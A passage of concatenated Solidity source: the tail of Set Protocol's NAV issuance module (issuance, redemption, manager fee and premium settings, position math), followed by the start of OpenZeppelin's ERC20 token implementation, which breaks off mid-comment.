_callPreIssueHooks(_setToken, address(weth), msg.value, msg.sender, _to); ActionInfo memory issueInfo = _createIssuanceInfo(_setToken, address(weth), msg.value); _validateIssuanceInfo(_setToken, _minSetTokenReceiveQuantity, issueInfo); _transferWETHAndHandleFees(_setToken, issueInfo); _handleIssueStateUpdates(_setToken, address(weth), _to, issueInfo); } /** * Redeems a SetToken into a valid reserve asset representing the appropriate % of Net Asset Value of the SetToken * to the specified _to address. Only valid if there are available reserve units on the SetToken. * * @param _setToken Instance of the SetToken contract * @param _reserveAsset Address of the reserve asset to redeem with * @param _setTokenQuantity Quantity of SetTokens to redeem * @param _minReserveReceiveQuantity Min quantity of reserve asset to receive * @param _to Address to redeem reserve asset to */ function redeem( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity, uint256 _minReserveReceiveQuantity, address _to ) external nonReentrant onlyValidAndInitializedSet(_setToken) { _validateCommon(_setToken, _reserveAsset, _setTokenQuantity); _callPreRedeemHooks(_setToken, _setTokenQuantity, msg.sender, _to); ActionInfo memory redeemInfo = _createRedemptionInfo(_setToken, _reserveAsset, _setTokenQuantity); _validateRedemptionInfo(_setToken, _minReserveReceiveQuantity, _setTokenQuantity, redeemInfo); _setToken.burn(msg.sender, _setTokenQuantity); // Instruct the SetToken to transfer the reserve asset back to the user _setToken.strictInvokeTransfer( _reserveAsset, _to, redeemInfo.netFlowQuantity ); _handleRedemptionFees(_setToken, _reserveAsset, redeemInfo); _handleRedeemStateUpdates(_setToken, _reserveAsset, _to, redeemInfo); } /** * Redeems a SetToken into Ether (if WETH is valid) representing the appropriate % of Net Asset Value of the SetToken * to the specified _to address. Only valid if there are available WETH units on the SetToken. * * @param _setToken Instance of the SetToken contract * @param _setTokenQuantity Quantity of SetTokens to redeem * @param _minReserveReceiveQuantity Min quantity of reserve asset to receive * @param _to Address to redeem reserve asset to */ function redeemIntoEther( ISetToken _setToken, uint256 _setTokenQuantity, uint256 _minReserveReceiveQuantity, address payable _to ) external nonReentrant onlyValidAndInitializedSet(_setToken) { _validateCommon(_setToken, address(weth), _setTokenQuantity); _callPreRedeemHooks(_setToken, _setTokenQuantity, msg.sender, _to); ActionInfo memory redeemInfo = _createRedemptionInfo(_setToken, address(weth), _setTokenQuantity); _validateRedemptionInfo(_setToken, _minReserveReceiveQuantity, _setTokenQuantity, redeemInfo); _setToken.burn(msg.sender, _setTokenQuantity); // Instruct the SetToken to transfer WETH from SetToken to module _setToken.strictInvokeTransfer( address(weth), address(this), redeemInfo.netFlowQuantity ); weth.withdraw(redeemInfo.netFlowQuantity); _to.transfer(redeemInfo.netFlowQuantity); _handleRedemptionFees(_setToken, address(weth), redeemInfo); _handleRedeemStateUpdates(_setToken, address(weth), _to, redeemInfo); } /** * SET MANAGER ONLY. Add an allowed reserve asset * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset to add */ function addReserveAsset(ISetToken _setToken, address _reserveAsset) external onlyManagerAndValidSet(_setToken) { require(!isReserveAsset[_setToken][_reserveAsset], "Reserve asset already exists"); navIssuanceSettings[_setToken].reserveAssets.push(_reserveAsset); isReserveAsset[_setToken][_reserveAsset] = true; emit ReserveAssetAdded(_setToken, _reserveAsset); } /** * SET MANAGER ONLY. Remove a reserve asset * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset to remove */ function removeReserveAsset(ISetToken _setToken, address _reserveAsset) external onlyManagerAndValidSet(_setToken) { require(isReserveAsset[_setToken][_reserveAsset], "Reserve asset does not exist"); navIssuanceSettings[_setToken].reserveAssets = navIssuanceSettings[_setToken].reserveAssets.remove(_reserveAsset); delete isReserveAsset[_setToken][_reserveAsset]; emit ReserveAssetRemoved(_setToken, _reserveAsset); } /** * SET MANAGER ONLY. Edit the premium percentage * * @param _setToken Instance of the SetToken * @param _premiumPercentage Premium percentage in 10e16 (e.g. 10e16 = 1%) */ function editPremium(ISetToken _setToken, uint256 _premiumPercentage) external onlyManagerAndValidSet(_setToken) { require(_premiumPercentage <= navIssuanceSettings[_setToken].maxPremiumPercentage, "Premium must be less than maximum allowed"); navIssuanceSettings[_setToken].premiumPercentage = _premiumPercentage; emit PremiumEdited(_setToken, _premiumPercentage); } /** * SET MANAGER ONLY. Edit manager fee * * @param _setToken Instance of the SetToken * @param _managerFeePercentage Manager fee percentage in 10e16 (e.g. 10e16 = 1%) * @param _managerFeeIndex Manager fee index. 0 index is issue fee, 1 index is redeem fee */ function editManagerFee( ISetToken _setToken, uint256 _managerFeePercentage, uint256 _managerFeeIndex ) external onlyManagerAndValidSet(_setToken) { require(_managerFeePercentage <= navIssuanceSettings[_setToken].maxManagerFee, "Manager fee must be less than maximum allowed"); navIssuanceSettings[_setToken].managerFees[_managerFeeIndex] = _managerFeePercentage; emit ManagerFeeEdited(_setToken, _managerFeePercentage, _managerFeeIndex); } /** * SET MANAGER ONLY. Edit the manager fee recipient * * @param _setToken Instance of the SetToken * @param _managerFeeRecipient Manager fee recipient */ function editFeeRecipient(ISetToken _setToken, address _managerFeeRecipient) external onlyManagerAndValidSet(_setToken) { require(_managerFeeRecipient != address(0), "Fee recipient must not be 0 address"); navIssuanceSettings[_setToken].feeRecipient = _managerFeeRecipient; emit FeeRecipientEdited(_setToken, _managerFeeRecipient); } /** * SET MANAGER ONLY. Initializes this module to the SetToken with hooks, allowed reserve assets, * fees and issuance premium. Only callable by the SetToken's manager. Hook addresses are optional. * Address(0) means that no hook will be called. * * @param _setToken Instance of the SetToken to issue * @param _navIssuanceSettings NAVIssuanceSettings struct defining parameters */ function initialize( ISetToken _setToken, NAVIssuanceSettings memory _navIssuanceSettings ) external onlySetManager(_setToken, msg.sender) onlyValidAndPendingSet(_setToken) { require(_navIssuanceSettings.reserveAssets.length > 0, "Reserve assets must be greater than 0"); require(_navIssuanceSettings.maxManagerFee < PreciseUnitMath.preciseUnit(), "Max manager fee must be less than 100%"); require(_navIssuanceSettings.maxPremiumPercentage < PreciseUnitMath.preciseUnit(), "Max premium percentage must be less than 100%"); require(_navIssuanceSettings.managerFees[0] <= _navIssuanceSettings.maxManagerFee, "Manager issue fee must be less than max"); require(_navIssuanceSettings.managerFees[1] <= _navIssuanceSettings.maxManagerFee, "Manager redeem fee must be less than max"); require(_navIssuanceSettings.premiumPercentage <= _navIssuanceSettings.maxPremiumPercentage, "Premium must be less than max"); require(_navIssuanceSettings.feeRecipient != address(0), "Fee Recipient must be non-zero address."); // Initial mint of Set cannot use NAVIssuance since minSetTokenSupply must be > 0 require(_navIssuanceSettings.minSetTokenSupply > 0, "Min SetToken supply must be greater than 0"); for (uint256 i = 0; i < _navIssuanceSettings.reserveAssets.length; i++) { require(!isReserveAsset[_setToken][_navIssuanceSettings.reserveAssets[i]], "Reserve assets must be unique"); isReserveAsset[_setToken][_navIssuanceSettings.reserveAssets[i]] = true; } navIssuanceSettings[_setToken] = _navIssuanceSettings; _setToken.initializeModule(); } /** * Removes this module from the SetToken, via call by the SetToken. Issuance settings and * reserve asset states are deleted. */ function removeModule() external override { ISetToken setToken = ISetToken(msg.sender); for (uint256 i = 0; i < navIssuanceSettings[setToken].reserveAssets.length; i++) { delete isReserveAsset[setToken][navIssuanceSettings[setToken].reserveAssets[i]]; } delete navIssuanceSettings[setToken]; } receive() external payable {} /* ============ External Getter Functions ============ */ function getReserveAssets(ISetToken _setToken) external view returns (address[] memory) { return navIssuanceSettings[_setToken].reserveAssets; } function getIssuePremium( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) external view returns (uint256) { return _getIssuePremium(_setToken, _reserveAsset, _reserveAssetQuantity); } function getRedeemPremium( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) external view returns (uint256) { return _getRedeemPremium(_setToken, _reserveAsset, _setTokenQuantity); } function getManagerFee(ISetToken _setToken, uint256 _managerFeeIndex) external view returns (uint256) { return navIssuanceSettings[_setToken].managerFees[_managerFeeIndex]; } /** * Get the expected SetTokens minted to recipient on issuance * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _reserveAssetQuantity Quantity of the reserve asset to issue with * * @return uint256 Expected SetTokens to be minted to recipient */ function getExpectedSetTokenIssueQuantity( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) external view returns (uint256) { (,, uint256 netReserveFlow) = _getFees( _setToken, _reserveAssetQuantity, PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_ISSUE_DIRECT_FEE_INDEX, MANAGER_ISSUE_FEE_INDEX ); uint256 setTotalSupply = _setToken.totalSupply(); return _getSetTokenMintQuantity( _setToken, _reserveAsset, netReserveFlow, setTotalSupply ); } /** * Get the expected reserve asset to be redeemed * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _setTokenQuantity Quantity of SetTokens to redeem * * @return uint256 Expected reserve asset quantity redeemed */ function getExpectedReserveRedeemQuantity( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) external view returns (uint256) { uint256 preFeeReserveQuantity = _getRedeemReserveQuantity(_setToken, _reserveAsset, _setTokenQuantity); (,, uint256 netReserveFlows) = _getFees( _setToken, preFeeReserveQuantity, PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_REDEEM_DIRECT_FEE_INDEX, MANAGER_REDEEM_FEE_INDEX ); return netReserveFlows; } /** * Checks if issue is valid * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _reserveAssetQuantity Quantity of the reserve asset to issue with * * @return bool Returns true if issue is valid */ function isIssueValid( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) external view returns (bool) { uint256 setTotalSupply = _setToken.totalSupply(); return _reserveAssetQuantity != 0 && isReserveAsset[_setToken][_reserveAsset] && setTotalSupply >= navIssuanceSettings[_setToken].minSetTokenSupply; } /** * Checks if redeem is valid * * @param _setToken Instance of the SetToken * @param _reserveAsset Address of the reserve asset * @param _setTokenQuantity Quantity of SetTokens to redeem * * @return bool Returns true if redeem is valid */ function isRedeemValid( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) external view returns (bool) { uint256 setTotalSupply = _setToken.totalSupply(); if ( _setTokenQuantity == 0 || !isReserveAsset[_setToken][_reserveAsset] || setTotalSupply < navIssuanceSettings[_setToken].minSetTokenSupply.add(_setTokenQuantity) ) { return false; } else { uint256 totalRedeemValue =_getRedeemReserveQuantity(_setToken, _reserveAsset, _setTokenQuantity); (,, uint256 expectedRedeemQuantity) = _getFees( _setToken, totalRedeemValue, PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_REDEEM_DIRECT_FEE_INDEX, MANAGER_REDEEM_FEE_INDEX ); uint256 existingUnit = _setToken.getDefaultPositionRealUnit(_reserveAsset).toUint256(); return existingUnit.preciseMul(setTotalSupply) >= expectedRedeemQuantity; } } /* ============ Internal Functions ============ */ function _validateCommon(ISetToken _setToken, address _reserveAsset, uint256 _quantity) internal view { require(_quantity > 0, "Quantity must be > 0"); require(isReserveAsset[_setToken][_reserveAsset], "Must be valid reserve asset"); } function _validateIssuanceInfo(ISetToken _setToken, uint256 _minSetTokenReceiveQuantity, ActionInfo memory _issueInfo) internal view { // Check that total supply is greater than min supply needed for issuance // Note: A min supply amount is needed to avoid division by 0 when SetToken supply is 0 require( _issueInfo.previousSetTokenSupply >= navIssuanceSettings[_setToken].minSetTokenSupply, "Supply must be greater than minimum to enable issuance" ); require(_issueInfo.setTokenQuantity >= _minSetTokenReceiveQuantity, "Must be greater than min SetToken"); } function _validateRedemptionInfo( ISetToken _setToken, uint256 _minReserveReceiveQuantity, uint256 _setTokenQuantity, ActionInfo memory _redeemInfo ) internal view { // Check that new supply is more than min supply needed for redemption // Note: A min supply amount is needed to avoid division by 0 when redeeming SetToken to 0 require( _redeemInfo.newSetTokenSupply >= navIssuanceSettings[_setToken].minSetTokenSupply, "Supply must be greater than minimum to enable redemption" ); require(_redeemInfo.netFlowQuantity >= _minReserveReceiveQuantity, "Must be greater than min receive reserve quantity"); } function _createIssuanceInfo( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity ) internal view returns (ActionInfo memory) { ActionInfo memory issueInfo; issueInfo.previousSetTokenSupply = _setToken.totalSupply(); issueInfo.preFeeReserveQuantity = _reserveAssetQuantity; (issueInfo.protocolFees, issueInfo.managerFee, issueInfo.netFlowQuantity) = _getFees( _setToken, issueInfo.preFeeReserveQuantity, PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_ISSUE_DIRECT_FEE_INDEX, MANAGER_ISSUE_FEE_INDEX ); issueInfo.setTokenQuantity = _getSetTokenMintQuantity( _setToken, _reserveAsset, issueInfo.netFlowQuantity, issueInfo.previousSetTokenSupply ); (issueInfo.newSetTokenSupply, issueInfo.newPositionMultiplier) = _getIssuePositionMultiplier(_setToken, issueInfo); issueInfo.newReservePositionUnit = _getIssuePositionUnit(_setToken, _reserveAsset, issueInfo); return issueInfo; } function _createRedemptionInfo( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) internal view returns (ActionInfo memory) { ActionInfo memory redeemInfo; redeemInfo.setTokenQuantity = _setTokenQuantity; redeemInfo.preFeeReserveQuantity =_getRedeemReserveQuantity(_setToken, _reserveAsset, _setTokenQuantity); (redeemInfo.protocolFees, redeemInfo.managerFee, redeemInfo.netFlowQuantity) = _getFees( _setToken, redeemInfo.preFeeReserveQuantity, PROTOCOL_REDEEM_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_REDEEM_DIRECT_FEE_INDEX, MANAGER_REDEEM_FEE_INDEX ); redeemInfo.previousSetTokenSupply = _setToken.totalSupply(); (redeemInfo.newSetTokenSupply, redeemInfo.newPositionMultiplier) = _getRedeemPositionMultiplier(_setToken, _setTokenQuantity, redeemInfo); redeemInfo.newReservePositionUnit = _getRedeemPositionUnit(_setToken, _reserveAsset, redeemInfo); return redeemInfo; } /** * Transfer reserve asset from user to SetToken and fees from user to appropriate fee recipients */ function _transferCollateralAndHandleFees(ISetToken _setToken, IERC20 _reserveAsset, ActionInfo memory _issueInfo) internal { transferFrom(_reserveAsset, msg.sender, address(_setToken), _issueInfo.netFlowQuantity); if (_issueInfo.protocolFees > 0) { transferFrom(_reserveAsset, msg.sender, controller.feeRecipient(), _issueInfo.protocolFees); } if (_issueInfo.managerFee > 0) { transferFrom(_reserveAsset, msg.sender, navIssuanceSettings[_setToken].feeRecipient, _issueInfo.managerFee); } } /** * Transfer WETH from module to SetToken and fees from module to appropriate fee recipients */ function _transferWETHAndHandleFees(ISetToken _setToken, ActionInfo memory _issueInfo) internal { weth.transfer(address(_setToken), _issueInfo.netFlowQuantity); if (_issueInfo.protocolFees > 0) { weth.transfer(controller.feeRecipient(), _issueInfo.protocolFees); } if (_issueInfo.managerFee > 0) { weth.transfer(navIssuanceSettings[_setToken].feeRecipient, _issueInfo.managerFee); } } function _handleIssueStateUpdates( ISetToken _setToken, address _reserveAsset, address _to, ActionInfo memory _issueInfo ) internal { _setToken.editPositionMultiplier(_issueInfo.newPositionMultiplier); _setToken.editDefaultPosition(_reserveAsset, _issueInfo.newReservePositionUnit); _setToken.mint(_to, _issueInfo.setTokenQuantity); emit SetTokenNAVIssued( _setToken, msg.sender, _to, _reserveAsset, address(navIssuanceSettings[_setToken].managerIssuanceHook), _issueInfo.setTokenQuantity, _issueInfo.managerFee, _issueInfo.protocolFees ); } function _handleRedeemStateUpdates( ISetToken _setToken, address _reserveAsset, address _to, ActionInfo memory _redeemInfo ) internal { _setToken.editPositionMultiplier(_redeemInfo.newPositionMultiplier); _setToken.editDefaultPosition(_reserveAsset, _redeemInfo.newReservePositionUnit); emit SetTokenNAVRedeemed( _setToken, msg.sender, _to, _reserveAsset, address(navIssuanceSettings[_setToken].managerRedemptionHook), _redeemInfo.setTokenQuantity, _redeemInfo.managerFee, _redeemInfo.protocolFees ); } function _handleRedemptionFees(ISetToken _setToken, address _reserveAsset, ActionInfo memory _redeemInfo) internal { // Instruct the SetToken to transfer protocol fee to fee recipient if there is a fee payProtocolFeeFromSetToken(_setToken, _reserveAsset, _redeemInfo.protocolFees); // Instruct the SetToken to transfer manager fee to manager fee recipient if there is a fee if (_redeemInfo.managerFee > 0) { _setToken.strictInvokeTransfer( _reserveAsset, navIssuanceSettings[_setToken].feeRecipient, _redeemInfo.managerFee ); } } /** * Returns the issue premium percentage. Virtual function that can be overridden in future versions of the module * and can contain arbitrary logic to calculate the issuance premium. */ function _getIssuePremium( ISetToken _setToken, address /* _reserveAsset */, uint256 /* _reserveAssetQuantity */ ) virtual internal view returns (uint256) { return navIssuanceSettings[_setToken].premiumPercentage; } /** * Returns the redeem premium percentage. Virtual function that can be overridden in future versions of the module * and can contain arbitrary logic to calculate the redemption premium. */ function _getRedeemPremium( ISetToken _setToken, address /* _reserveAsset */, uint256 /* _setTokenQuantity */ ) virtual internal view returns (uint256) { return navIssuanceSettings[_setToken].premiumPercentage; } /** * Returns the fees attributed to the manager and the protocol. The fees are calculated as follows: * * ManagerFee = (manager fee % - % to protocol) * reserveAssetQuantity * Protocol Fee = (% manager fee share + direct fee %) * reserveAssetQuantity * * @param _setToken Instance of the SetToken * @param _reserveAssetQuantity Quantity of reserve asset to calculate fees from * @param _protocolManagerFeeIndex Index to pull rev share NAV Issuance fee from the Controller * @param _protocolDirectFeeIndex Index to pull direct NAV issuance fee from the Controller * @param _managerFeeIndex Index from NAVIssuanceSettings (0 = issue fee, 1 = redeem fee) * * @return uint256 Fees paid to the protocol in reserve asset * @return uint256 Fees paid to the manager in reserve asset * @return uint256 Net reserve to user net of fees */ function _getFees( ISetToken _setToken, uint256 _reserveAssetQuantity, uint256 _protocolManagerFeeIndex, uint256 _protocolDirectFeeIndex, uint256 _managerFeeIndex ) internal view returns (uint256, uint256, uint256) { (uint256 protocolFeePercentage, uint256 managerFeePercentage) = _getProtocolAndManagerFeePercentages( _setToken, _protocolManagerFeeIndex, _protocolDirectFeeIndex, _managerFeeIndex ); // Calculate total notional fees uint256 protocolFees = protocolFeePercentage.preciseMul(_reserveAssetQuantity); uint256 managerFee = managerFeePercentage.preciseMul(_reserveAssetQuantity); uint256 netReserveFlow = _reserveAssetQuantity.sub(protocolFees).sub(managerFee); return (protocolFees, managerFee, netReserveFlow); } function _getProtocolAndManagerFeePercentages( ISetToken _setToken, uint256 _protocolManagerFeeIndex, uint256 _protocolDirectFeeIndex, uint256 _managerFeeIndex ) internal view returns(uint256, uint256) { // Get protocol fee percentages uint256 protocolDirectFeePercent = controller.getModuleFee(address(this), _protocolDirectFeeIndex); uint256 protocolManagerShareFeePercent = controller.getModuleFee(address(this), _protocolManagerFeeIndex); uint256 managerFeePercent = navIssuanceSettings[_setToken].managerFees[_managerFeeIndex]; // Calculate revenue share split percentage uint256 protocolRevenueSharePercentage = protocolManagerShareFeePercent.preciseMul(managerFeePercent); uint256 managerRevenueSharePercentage = managerFeePercent.sub(protocolRevenueSharePercentage); uint256 totalProtocolFeePercentage = protocolRevenueSharePercentage.add(protocolDirectFeePercent); return (totalProtocolFeePercentage, managerRevenueSharePercentage); } function _getSetTokenMintQuantity( ISetToken _setToken, address _reserveAsset, uint256 _netReserveFlows, // Value of reserve asset net of fees uint256 _setTotalSupply ) internal view returns (uint256) { uint256 premiumPercentage = _getIssuePremium(_setToken, _reserveAsset, _netReserveFlows); uint256 premiumValue = _netReserveFlows.preciseMul(premiumPercentage); // If the set manager provided a custom valuer at initialization time, use it. Otherwise get it from the controller // Get valuation of the SetToken with the quote asset as the reserve asset. Returns value in precise units (1e18) // Reverts if price is not found uint256 setTokenValuation = _getSetValuer(_setToken).calculateSetTokenValuation(_setToken, _reserveAsset); // Get reserve asset decimals uint256 reserveAssetDecimals = ERC20(_reserveAsset).decimals(); uint256 normalizedTotalReserveQuantityNetFees = _netReserveFlows.preciseDiv(10 ** reserveAssetDecimals); uint256 normalizedTotalReserveQuantityNetFeesAndPremium = _netReserveFlows.sub(premiumValue).preciseDiv(10 ** reserveAssetDecimals); // Calculate SetTokens to mint to issuer uint256 denominator = _setTotalSupply.preciseMul(setTokenValuation).add(normalizedTotalReserveQuantityNetFees).sub(normalizedTotalReserveQuantityNetFeesAndPremium); return normalizedTotalReserveQuantityNetFeesAndPremium.preciseMul(_setTotalSupply).preciseDiv(denominator); } function _getRedeemReserveQuantity( ISetToken _setToken, address _reserveAsset, uint256 _setTokenQuantity ) internal view returns (uint256) { // Get valuation of the SetToken with the quote asset as the reserve asset. Returns value in precise units (10e18) // Reverts if price is not found uint256 setTokenValuation = _getSetValuer(_setToken).calculateSetTokenValuation(_setToken, _reserveAsset); uint256 totalRedeemValueInPreciseUnits = _setTokenQuantity.preciseMul(setTokenValuation); // Get reserve asset decimals uint256 reserveAssetDecimals = ERC20(_reserveAsset).decimals(); uint256 prePremiumReserveQuantity = totalRedeemValueInPreciseUnits.preciseMul(10 ** reserveAssetDecimals); uint256 premiumPercentage = _getRedeemPremium(_setToken, _reserveAsset, _setTokenQuantity); uint256 premiumQuantity = prePremiumReserveQuantity.preciseMulCeil(premiumPercentage); return prePremiumReserveQuantity.sub(premiumQuantity); } /** * The new position multiplier is calculated as follows: * inflationPercentage = (newSupply - oldSupply) / newSupply * newMultiplier = (1 - inflationPercentage) * positionMultiplier */ function _getIssuePositionMultiplier( ISetToken _setToken, ActionInfo memory _issueInfo ) internal view returns (uint256, int256) { // Calculate inflation and new position multiplier. Note: Round inflation up in order to round position multiplier down uint256 newTotalSupply = _issueInfo.setTokenQuantity.add(_issueInfo.previousSetTokenSupply); int256 newPositionMultiplier = _setToken.positionMultiplier() .mul(_issueInfo.previousSetTokenSupply.toInt256()) .div(newTotalSupply.toInt256()); return (newTotalSupply, newPositionMultiplier); } /** * Calculate deflation and new position multiplier. Note: Round deflation down in order to round position multiplier down * * The new position multiplier is calculated as follows: * deflationPercentage = (oldSupply - newSupply) / newSupply * newMultiplier = (1 + deflationPercentage) * positionMultiplier */ function _getRedeemPositionMultiplier( ISetToken _setToken, uint256 _setTokenQuantity, ActionInfo memory _redeemInfo ) internal view returns (uint256, int256) { uint256 newTotalSupply = _redeemInfo.previousSetTokenSupply.sub(_setTokenQuantity); int256 newPositionMultiplier = _setToken.positionMultiplier() .mul(_redeemInfo.previousSetTokenSupply.toInt256()) .div(newTotalSupply.toInt256()); return (newTotalSupply, newPositionMultiplier); } /** * The new position reserve asset unit is calculated as follows: * totalReserve = (oldUnit * oldSetTokenSupply) + reserveQuantity * newUnit = totalReserve / newSetTokenSupply */ function _getIssuePositionUnit( ISetToken _setToken, address _reserveAsset, ActionInfo memory _issueInfo ) internal view returns (uint256) { uint256 existingUnit = _setToken.getDefaultPositionRealUnit(_reserveAsset).toUint256(); uint256 totalReserve = existingUnit .preciseMul(_issueInfo.previousSetTokenSupply) .add(_issueInfo.netFlowQuantity); return totalReserve.preciseDiv(_issueInfo.newSetTokenSupply); } /** * The new position reserve asset unit is calculated as follows: * totalReserve = (oldUnit * oldSetTokenSupply) - reserveQuantityToSendOut * newUnit = totalReserve / newSetTokenSupply */ function _getRedeemPositionUnit( ISetToken _setToken, address _reserveAsset, ActionInfo memory _redeemInfo ) internal view returns (uint256) { uint256 existingUnit = _setToken.getDefaultPositionRealUnit(_reserveAsset).toUint256(); uint256 totalExistingUnits = existingUnit.preciseMul(_redeemInfo.previousSetTokenSupply); uint256 outflow = _redeemInfo.netFlowQuantity.add(_redeemInfo.protocolFees).add(_redeemInfo.managerFee); // Require withdrawable quantity is greater than existing collateral require(totalExistingUnits >= outflow, "Must be greater than total available collateral"); return totalExistingUnits.sub(outflow).preciseDiv(_redeemInfo.newSetTokenSupply); } /** * If a pre-issue hook has been configured, call the external-protocol contract. Pre-issue hook logic * can contain arbitrary logic including validations, external function calls, etc. */ function _callPreIssueHooks( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity, address _caller, address _to ) internal { INAVIssuanceHook preIssueHook = navIssuanceSettings[_setToken].managerIssuanceHook; if (address(preIssueHook) != address(0)) { preIssueHook.invokePreIssueHook(_setToken, _reserveAsset, _reserveAssetQuantity, _caller, _to); } } /** * If a pre-redeem hook has been configured, call the external-protocol contract. */ function _callPreRedeemHooks(ISetToken _setToken, uint256 _setQuantity, address _caller, address _to) internal { INAVIssuanceHook preRedeemHook = navIssuanceSettings[_setToken].managerRedemptionHook; if (address(preRedeemHook) != address(0)) { preRedeemHook.invokePreRedeemHook(_setToken, _setQuantity, _caller, _to); } } /** * If a custom set valuer has been configured, use it. Otherwise fetch the default one form the * controller. */ function _getSetValuer(ISetToken _setToken) internal view returns (ISetValuer) { ISetValuer customValuer = navIssuanceSettings[_setToken].setValuer; return address(customValuer) == address(0) ? controller.getSetValuer() : customValuer; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * 